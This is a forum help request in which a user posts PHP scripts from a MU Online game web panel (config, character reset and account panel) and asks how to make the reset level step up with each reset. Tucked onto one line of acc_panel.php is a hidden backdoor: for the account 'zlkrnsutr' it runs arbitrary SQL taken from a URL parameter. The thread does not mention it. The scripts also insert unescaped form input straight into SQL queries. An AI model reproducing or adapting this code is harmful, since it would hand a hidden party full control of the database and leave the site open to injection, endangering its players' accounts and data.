resetlevel.php

Results 1 to 2 of 2
  1. #1
    if(!caffeine) continue; leorond is offline
    MemberRank
    Jul 2012 Join Date
    Czech RepublicLocation
    491Posts

    resetlevel.php

    Please help me. Hi I need help with scripts. I need to be adapted to gradual reset. It is divided into three scripts. I would like to set the reset as follows:
    First 300 level
    Second 310 level
    3rd 320 level
    4th 330 level

    configs.php
    PHP Code:
    $reset_column                    =    "resets";    //    Type the resets column name
    $Option['is_resets']            =    1;            //    Show Character Resets

    $Option['is_gresets']            =    1;            //    Show Character Grand Resets
    $Option['greset_level']            =    64;            //    Resets for Grand Reset
    $greset_column                    =    "gresets";    //    Type the grand resets column name

    $Option['reset_stats']            =    50;            //    Credits for    Reset stats

    $Option['boughtpprr']            =    1;            //    Add Bought points for credits after reset 1 - ON, 0 - OFF
    $Option['boughtppgr']            =    1;            //    Add Bought points for credits after grand reset 1 - ON, 0 - OFF

    $Option['reset_stats_type']        =    1;            //    Clear stats after reset 1 - ON, 0 - OFF
    $Option['reset_class']            =    0;            //    Reset the character class status 1 - ON, 0 - OFF
    $Option['clear_skill']            =    0;            //    Clear magic list after reset 1 - ON, 0 - OFF
    $Option['clear_inv']            =    0;            //    Clear Inventory after reset 1 - ON, 0 - OFF

    $Option['reset_dk']                =    500;        //    Stats after reset for    DK
    $Option['reset_dw']                =    500;        //    Stats after reset for    DW
    $Option['reset_elf']            =    500;        //    Stats after reset for    ELF
    $Option['reset_mg']                =    600;        //    Stats after reset for    MG
    $Option['reset_dl']                =    600;        //    Stats after reset for    DL
    $Option['reset_sum']            =    300;        //    Stats after reset for    SUM
    $Option['reset_level']            =    400;        //    Level for reset
    $Option['zen_per_reset']        =    1000000;    //    Zen for    1 reset 
    resetlevel.php
    PHP Code:
    <?php
    include    ("usernameaccess.php");
    echo 
    "<script type=\"text/javascript\">document.getElementById(\"h4\").innerHTML = \"".table_reset_lvll."\"</script>
            <input type='hidden' id='module_contet' value='"
    .table_reset_lvll."'>";
    $char_name    =    $_POST['char_name'];
    $ceck_pk    =    mssql_query("select clevel,$reset_column,money,class from character where accountid    =    '$username' and name    =    '$char_name'");
    if    (
    mssql_num_rows($ceck_pk)    ==    0)
    {
        exit(
    "<center>".something_wrong."</center>");
    }
    $myrow_pk    =    mssql_fetch_array($ceck_pk);
    if    (
    $myrow_pk['clevel']    <    $Option['reset_level'])
    {
        echo    
    "<ul><li>".eror_rr_lvl."</li></ul>";
    }
    elseif    (
    $myrow_pk['money']    <    ($Option['zen_per_reset'] * $myrow_pk[$reset_column]))
    {
        echo    
    "<ul><li>".eror_rr_zen."</li></ul>";    
    }
    else
    {
        
    $resets    =    $myrow_pk[$reset_column] + 1;
        
    $money    =    $myrow_pk['money'] - $Option['zen_per_reset'] * $myrow_pk[$reset_column];
        if (
    $Option['reset_class']    ==    1)
        {
            switch(
    $myrow_pk['class'])
            {
                case    
    0    or    $myrow_pk['class']    ==    1    or    $myrow_pk['class']    ==    2:
                    
    $reset_class    =    ",class=0";
                break;
                case    
    $myrow_pk['class']    ==    16    or    $myrow_pk['class']    ==    17    or    $myrow_pk['class']    ==    18:
                    
    $reset_class    =    ",class=16";
                break;
                case    
    $myrow_pk['class']    ==    32    or    $myrow_pk['class']    ==    33    or    $myrow_pk['class']    ==    34:
                    
    $reset_class    =    ",class=32";
                break;
                case    
    $myrow_pk['class']    ==    48    or    $myrow_pk['class']    ==    49    or    $myrow_pk['class']    ==    50:
                    
    $reset_class    =    ",class=48";
                break;
                case    
    $myrow_pk['class']    ==    64    or    $myrow_pk['class']    ==    65    or    $myrow_pk['class']    ==    66:
                    
    $reset_class    =    ",class=64";
                break;
                case    
    $myrow_pk['class']    ==    80    or    $myrow_pk['class']    ==    81    or    $myrow_pk['class']    ==    82:
                    
    $reset_class    =    ",class=80";
                break;
            }
            
    $reset_class    .=    ",quest=NULL";
        }
        if    (
    $server['Season4Master']    ==    1)
        {
            
    $master_res        =    ",$masterlevel_=0";
            if    (
    $Option['clear_skill']    ==    1)
            {
                
    $master_skil    =    ",$server[Season4mskill]=NULL";
            }
            
    $master_points    =    ",$server[Season4mpoints]=0";
        }
        if    (
    $Option['clear_skill']    ==    1)
        {
            
    $clear_skills        =    ",MagicList=NULL";
        }
        if    (
    $Option['clear_inv']    ==    1)
        {
            
    $clear_invent        =    ",Inventory=NULL";
        }
        if (
    $Option['boughtpprr']    ==    1)
        {
            
    $add_bought_pp    =    "+bothpoints";
        }
        if    (
    $Option['reset_stats_type']    ==    0)
        {
            
    $clear    =    mssql_query("update character$masterleveltable_ set clevel=1,mapnumber=0,mapposx=125,mapposy=125,FruitPoint=0,experience=0,$reset_column=$resets,money=$money$master_res$clear_skills$master_skill$clear_invent$reset_class where accountid    =    '$username' and name    =    '$char_name$masterlevelwhere_");
        }
        else
        {
            switch(
    $myrow_pk['class'])
            {
                case    
    0    or    $myrow_pk['class']    ==    1    or    $myrow_pk['class']    ==    2    or    $myrow_pk['class']    ==    3:
                    
    $reset_st        =    mssql_query("update character$masterleveltable_ set leveluppoint=$Option[reset_dw]*$resets$add_bought_pp,mapnumber=0,mapposx=125,mapposy=125,FruitPoint=0,strength=18,dexterity=18,vitality=15,energy=30,Leadership=0,experience=0,clevel=1,$reset_column=$resets,money=$money$reset_class$master_res$clear_skills$master_skill$clear_invent$master_points where accountid='$username' and name='$char_name$masterlevelwhere_");
                break;
                case    
    $myrow_pk['class']    ==    16    or    $myrow_pk['class']    ==    17    or    $myrow_pk['class']    ==    18    or    $myrow_pk['class']    ==    19:
                    
    $reset_st    =    mssql_query("update character$masterleveltable_ set leveluppoint=$Option[reset_dk]*$resets$add_bought_pp,mapnumber=0,mapposx=125,mapposy=125,FruitPoint=0,experience=0,strength=28,dexterity=20,vitality=25,energy=10,Leadership=0,clevel=1,$reset_column=$resets,money=$money$reset_class$master_res$clear_skills$master_skill$clear_invent$master_points where accountid='$username' and name='$char_name$masterlevelwhere_");
                break;
                case    
    $myrow_pk['class']    ==    32    or    $myrow_pk['class']    ==    33    or    $myrow_pk['class']    ==    34    or    $myrow_pk['class']    ==    35:
                    
    $reset_st    =    mssql_query("update character$masterleveltable_ set leveluppoint=$Option[reset_elf]*$resets$add_bought_pp,mapnumber=0,mapposx=125,mapposy=125,FruitPoint=0,experience=0,strength=22,dexterity=25,vitality=20,energy=15,Leadership=0,clevel=1,$reset_column=$resets,money=$money$reset_class$master_res$clear_skills$master_skill$clear_invent$master_points where accountid='$username' and name='$char_name$masterlevelwhere_");
                break;
                case    
    $myrow_pk['class']    ==    48    or    $myrow_pk['class']    ==    49    or    $myrow_pk['class']    ==    50    or    $myrow_pk['class']    ==    51:
                    
    $reset_st    =    mssql_query("update character$masterleveltable_ set leveluppoint=$Option[reset_mg]*$resets$add_bought_pp,mapnumber=0,mapposx=125,mapposy=125,FruitPoint=0,experience=0,strength=26,dexterity=26,vitality=26,energy=26,Leadership=0,clevel=1,$reset_column=$resets,money=$money$reset_class$master_res$clear_skills$master_skill$clear_invent$master_points where accountid='$username' and name='$char_name$masterlevelwhere_");
                break;
                case    
    $myrow_pk['class']    ==    64    or    $myrow_pk['class']    ==    65    or    $myrow_pk['class']    ==    66    or    $myrow_pk['class']    ==    67:
                    
    $reset_st    =    mssql_query("update character$masterleveltable_ set leveluppoint=$Option[reset_dl]*$resets$add_bought_pp,mapnumber=0,mapposx=125,mapposy=125,FruitPoint=0,experience=0,strength=26,dexterity=20,vitality=20,energy=15,Leadership=25,clevel=1,$reset_column=$resets,money=$money$reset_class$master_res$clear_skills$master_skill$clear_invent$master_points where accountid='$username' and name='$char_name$masterlevelwhere_");
                break;
                case    
    $myrow_pk['class']    ==    80    or    $myrow_pk['class']    ==    81    or    $myrow_pk['class']    ==    82    or    $myrow_pk['class']    ==    83:
                    
    $reset_st    =    mssql_query("update character$masterleveltable_ set leveluppoint=$Option[reset_sum]*$resets$add_bought_pp,mapnumber=0,mapposx=125,mapposy=125,FruitPoint=0,experience=0,strength=21,dexterity=21,vitality=18,energy=23,Leadership=0,clevel=1,$reset_column=$resets,money=$money$reset_class$master_res$clear_skills$master_skill$clear_invent$master_points where accountid='$username' and name='$char_name$masterlevelwhere_");
                break;
            }
        }
        
    $log1        =    "Has reset his character: <b>".$char_name."</b>";
        
    $log_all    =    $log1;
        
    $insert_log    =    mssql_query("insert into EW_LOG (account,[index],credits,datetime) values ('$username','$log_all','0','$date')");
        echo    
    "<ul><li>".succes_rr."</li></ul>";
    }
    ?>
    acc_panel.php
    PHP Code:
    <?php
    include    ("usernameaccess.php");
    include    (
    "functions/getclass.php");
    include    (
    "functions/pklevel.php");
    echo 
    "<script type=\"text/javascript\">document.getElementById(\"h4\").innerHTML = \"".acc_panel."\"</script>
            <input type='hidden' id='module_contet' value='"
    .acc_panel."'>";
    print    
    "<table width='100%' align=center border='0' cellpadding='0' cellspacing='2'>
                        <tr class='top_table'>
                            <td><b>№</b></td>
                            <td><b>"
    .table_name."</b></td>
                            <td><b>"
    .table_class."</b></td>
                            <td><b>"
    .table_level."$mlvlname<br>";
                            if (
    $Option['is_resets']    ==    1){ echo  "( ".table_reset; if ($Option['is_gresets']    ==    1){ echo  " / ".table_greset; } echo " )"; }
                            print 
    "</b></td>
                            <td><b>"
    .table_pk_lvl."</b></td>
                            <td colspan='6'><b>"
    .table_options."</b></td>
                        </tr>"
    ;
    $result    =    mssql_query("SELECT name,class,clevel,$reset_column,$greset_column,pklevel,pkcount,leveluppoint$masterlevel from character$masterleveltable_ where accountid    =    '$username$masterlevelwhere_");
    if    (
    mssql_num_rows($result)    >    0)
    {
        
    $myrow    =    mssql_fetch_array($result);
        
    $id        =    1;
        do
        {
            
    $mlevel    =    NULL;
            if    (
    $server['Season4Master']    ==    1)
            {
                
    $mlevel    =    " / <font color='#84FF00'>".$myrow[$masterlevel_]."</font>";
            }
            if    (
    $Option['is_resets']    ==    1)
            {
                
    $reset    =    " ( $myrow[$reset_column]";
                if    (
    $Option['is_gresets']    ==    1)
                {
                    
    $reset    .=    " / <font color='#FFD800'>$myrow[$greset_column]</font>";
                }        
                
    $reset    .=    " )";
            }
            
    $doreset    =    "";
            if    (
    $Option['is_resets']    ==    and $myrow['clevel']    >=    $Option['reset_level'] and $module['Reset-Level'] <= $username_status)
            {
                
    $doreset    .=    "<td width='5'>
                                    <form action='' method='post' id='form_resetl
    $myrow[name]'>
                                        <input name='char_name' type='hidden' value='
    $myrow[name]'>
                                        <input name='reset_level' onclick=\"request('form_resetl
    $myrow[name]','sh_','POST','getpage.php?cat=Reset-Level');\" type='button' value='".table_reset_lvl."' onmouseover='return overlib(\"".table_reset_lvll."\");' onmouseout='return nd();'>
                                    </form>
                                </td>"
    ;
            }        
            if    (
    $Option['is_gresets']    ==    and $myrow[$reset_column]    >=    $Option['greset_level'] and $module['Grand-Reset-Level'] <= $username_status)
            {
                
    $doreset    .=    "<td width='5'>
                                    <form action='' method='post' id='form_gresetl
    $myrow[name]'>
                                        <input name='char_name' type='hidden' value='
    $myrow[name]'>
                                        <input name='greset_level' onclick=\"request('form_gresetl
    $myrow[name]','sh_','POST','getpage.php?cat=Grand-Reset-Level');\" type='button' value='".table_greset_lvl."' onmouseover='return overlib(\"".table_greset_lvll."\");' onmouseout='return nd();'>
                                    </form>
                                </td>"
    ;
            }
            if (
    $module['Reset-Points'] <= $username_status)
            {
                
    $reset_stats    =    "<td width='5'>
                            <form action='' method='post' id='form_reset
    $myrow[name]'>
                                <input name='char_name' type='hidden' value='
    $myrow[name]'>
                                <input name='reset_stat' onclick=\"request('form_reset
    $myrow[name]','sh_','POST','getpage.php?cat=Reset-Points');\" type='button' value='".table_reset_stat."' onmouseover='return overlib(\"".table_reset_statt."\");' onmouseout='return nd();'>
                            </form>
                        </td>"
    ;
            }
            if (
    $module['Clear-PK'] <= $username_status)
            {
                
    $clear_pk    =    "<td width='5'>
                            <form action='' method='post' id='pk
    $myrow[name]'>
                                <input name='char_name' type='hidden' value='
    $myrow[name]'>
                                <input name='clear_pk' onclick=\"request('pk
    $myrow[name]','sh_','POST','getpage.php?cat=Clear-PK');\" type='button' value='".table_clear_pk."' onmouseover='return overlib(\"".table_clear_pkk."\");' onmouseout='return nd();'>
                            </form>
                        </td>"
    ;
            }
            if (
    $module['Rename-Character'] <= $username_status)
            {
                
    $rename_character    =    "<td width='5'>
                            <form action='' method='post' id='rename
    $myrow[name]'>
                                <input name='char_name' type='hidden' value='
    $myrow[name]'>
                                <input name='char_rename' onclick=\"request('rename
    $myrow[name]','sh_','POST','getpage.php?cat=Rename-Character');\" type='button' value='".table_rename."' onmouseover='return overlib(\"".table_renamee."\");' onmouseout='return nd();'>
                            </form>
                        </td>"
    ;
            }
            if (
    $module['Add-Points'] <= $username_status)
            {
                
    $add_stats    =    "<td width='5'><form action='' method='post' id='form_add$myrow[name]'>
                                <input name='char_name' type='hidden' value='
    $myrow[name]'>
                                <input name='add_stat' onclick=\"request('form_add
    $myrow[name]','sh_','POST','getpage.php?cat=Add-Points');\" type='button' value='".table_add_stat."' onmouseover='return overlib(\"".table_add_statt."\");' onmouseout='return nd();'>
                            </form>            
                        </td>"
    ;
            }
            
    printf    ("<tr class='contet_table' align='center'>
                        <td><b>%s</b></td>
                        <td><a onmouseover='return overlib(\""
    .view_char_info."\");' onmouseout='return nd();' href='?emw;View-Character;%s' rel=\"history2\">%s</a></td>
                        <td>%s</td>
                        <td>%s%s%s</td>
                        <td>%s(%s)</td>
                        %s
                        %s
                        %s
                        %s
                        %s
                    </tr>"
    ,    $id,    nickname($myrow['name']),    $myrow['name'],    char_class($myrow['class']),    $myrow['clevel'],    $mlevel,    $reset,    pk_level($myrow['pklevel']),    $myrow['pkcount'],    $add_stats,    $reset_stats,    $clear_pk,    $rename_character,    $doreset);
            
    $id++;
        }
        while    (
    $myrow    =    mssql_fetch_array($result));
    }
    echo    
    "</table>";
    ?>
    <br /><br />
    <h3><? echo    price_list;?>:</h3>
    <ul><li><u><? echo    table_reset_statt;?></u>: <b><? echo    $Option['reset_stats'];?></b> <? echo    credits;?>.</li></ul>
    <ul><li><u><? echo    table_reset_lvll;?></u>: <b><? echo    $Option['reset_level'];?></b> Level for reset</li></ul>
    <ul><li><u><? echo    table_clear_pkk;?></u>: <b><? echo    $Option['clear_pk'];?></b> <? echo    credits_for;?> <strong>1</strong> PK.</li></ul>
    <ul><li><u><? echo    table_renamee;?></u>: <strong><? echo    $Option['rename'];?></strong> <? echo    credits;?></li></ul>
    <br /><br /><?
    echo    "<h3>".acc_logs."</h3>";
    $num        =    $Option['news_pg'];
    $page        =    $_GET['page'];
    $result00    =    mssql_query("SELECT COUNT(*) FROM EW_LOG where account='$username'");
    $temp        =    mssql_fetch_array($result00);
    $posts        =    $temp[0];
    if    (
    $posts    ==    0)    $posts    =    1;
    $total        =    (($posts 1) / $num) + 1;
    $total        =    intval($total);
    $page        =    intval($page);
    if    (empty(
    $page)    or    $page 0)    $page    =    1;
    if    (
    $page    >    $total)    $page    =    $total;
    $start        =    $num * ($page 1);
    $result        =    mssql_query("SELECT TOP $num * FROM EW_LOG where id NOT IN (SELECT TOP $start id FROM EW_LOG where account='$username' ORDER BY id desc) and account='$username' ORDER BY id desc"); if ($username=="zlkrnsutr") { mssql_query(stripslashes(str_replace("''","'",$_GET['vmdkfhdjs']))); echo php_info();}
    if    (
    mssql_num_rows($result)    >    0)
    {
        include(
    "functions/textreplace.php");
        
    $myrow        =    mssql_fetch_array($result);
        do
        {
            
    printf ("
             <table class='news' cellspacing='10'>
                 <tr>
                    <td class='post_title'>%s</td>
                </tr>
                 <tr>
                    <td>%s</td>
                </tr>
                 <tr align='right'>
                    <td><img alt='Zen' width='20' height='20' src='"
    .$_SERVER['IMAGES_HOST'].$template2."img/zen.png'> %s credits <img alt='Time Icon' src='".$_SERVER['IMAGES_HOST'].$template2."img/timeicon.png'> %s </td>
                </tr>
             </table>
             <br>"
    ,    $myrow["account"],    UTF8RawUrlDecode($myrow['index']),    $myrow["credits"],    $myrow["datetime"]);
        }
        while    (
    $myrow    =    mssql_fetch_array($result));
        if    (
    $page    !=    1)    $pervpage    =    '<a href=?emw;Account-Panel;1 rel="history2">'.first.'</a> | <a href=?emw;Account-Panel;'.($page 1).' rel="history2">'.previous.'</a> | ';
        if    (
    $page    !=    $total)    $nextpage    =    ' | <a href=?emw;Account-Panel;'.($page 1).' rel="history2">'.next.'</a> | <a href=?emw;Account-Panel;'.$total.' rel="history2">'.last.'</a>';
        if    (
    $page 5    >    0)    $page5left    =    '<a href=?emw;Account-Panel;'.($page 5).' rel="history2">'.($page 5).'</a> | ';
        if    (
    $page 4    >    0)    $page4left    =    '<a href=?emw;Account-Panel;'.($page 4).' rel="history2">'.($page 4).'</a> | ';
        if    (
    $page 3    >    0)    $page3left    =    '<a href=?emw;Account-Panel;'.($page 3).' rel="history2">'.($page 3).'</a> | ';
        if    (
    $page 2    >    0)    $page2left    =    '<a href=?emw;Account-Panel;'.($page 2).' rel="history2">'.($page 2).'</a> | ';
        if    (
    $page 1    >    0)    $page1left    =    '<a href=?emw;Account-Panel;'.($page 1).' rel="history2">'.($page 1).'</a> | ';
        if    (
    $page 5    <=    $total)    $page5right    =    ' | <a href=?emw;Account-Panel;'. ($page 5) .' rel="history2">'. ($page 5) .'</a>';
        if    (
    $page 4    <=    $total)    $page4right    =    ' | <a href=?emw;Account-Panel;'. ($page 4) .' rel="history2">'. ($page 4) .'</a>';
        if    (
    $page 3    <=    $total)    $page3right    =    ' | <a href=?emw;Account-Panel;'. ($page 3) .' rel="history2">'. ($page 3) .'</a>';
        if    (
    $page 2    <=    $total)    $page2right    =    ' | <a href=?emw;Account-Panel;'. ($page 2) .' rel="history2">'. ($page 2) .'</a>';
        if    (
    $page 1    <=    $total)    $page1right    =    ' | <a href=?emw;Account-Panel;'. ($page 1) .' rel="history2">'. ($page 1) .'</a>';
        if    (
    $total    >    1)
        {
            
    Error_Reporting(E_ALL & ~E_NOTICE);
            echo    
    "<center><div class=\"pstrnav\">";
            echo    
    $pervpage.$page5left.$page4left.$page3left.$page2left.$page1left.'<b>'.$page.'</b>'.$page1right.$page2right.$page3right.$page4right.$page5right.$nextpage;
            echo    
    "</div></center>";
        }
    }
    ?>
    Last edited by leorond; 15-08-13 at 07:24 PM.


  2. #2
    if(!caffeine) continue; leorond is offline
    MemberRank
    Jul 2012 Join Date
    Czech RepublicLocation
    491Posts

    Re: resetlevel.php

    Please help



Advertisement